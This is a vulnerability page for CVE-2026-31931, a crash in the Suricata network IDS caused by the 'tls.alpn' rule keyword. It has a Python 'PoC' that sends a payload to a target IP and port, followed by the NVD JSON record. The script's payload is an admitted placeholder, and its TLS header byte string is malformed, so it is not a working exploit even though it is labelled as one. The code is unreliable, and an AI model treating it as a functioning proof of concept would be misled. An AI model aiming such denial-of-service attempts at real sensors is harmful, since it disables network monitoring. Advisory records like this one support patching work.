CVE-2026-31931

# PoC for CVE-2026-31931 # This script demonstrates the concept of triggering the NULL pointer dereference # by sending a crafted packet that matches a rule using 'tls.alpn'. import socket import struct def create_tls_client_hello_with_alpn(): # Simplified TLS Client Hello structure containing an ALPN extension # The specific payload structure required to trigger the crash depends on # the exact parsing logic of Suricata < 8.0.4, but involves the ALPN extension. tls_record_header = b"\x16\x03\x01\x00\x" # Handshake, TLS 1.0, Length (placeholder) # ... (Full TLS handshake construction would go here) # This serves as a conceptual placeholder for the exploit packet. return b"MALFORMED_TLS_PACKET_FOR_ALPN_TEST" def send_exploit(target_ip, target_port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) payload = create_tls_client_hello_with_alpn() sock.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage: python3 poc.py <TARGET_IP> <PORT> # Note: Ensure Suricata is running a rule with 'tls.alpn' keyword.

{"cve": {"id": "CVE-2026-31931", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:28.587", "lastModified": "2026-04-07T18:28:33.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. From version 8.0.0 to before version 8.0.4, use of the \"tls.alpn\" rule keyword can cause Suricata to crash with a NULL dereference. This issue has been patched in version 8.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4", "matchCriteriaId": "F35C5A48-CA30-43B3-9E53-D3E51C862604"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/security/advisories/GHSA-gr22-4784-xvw3", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8294", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}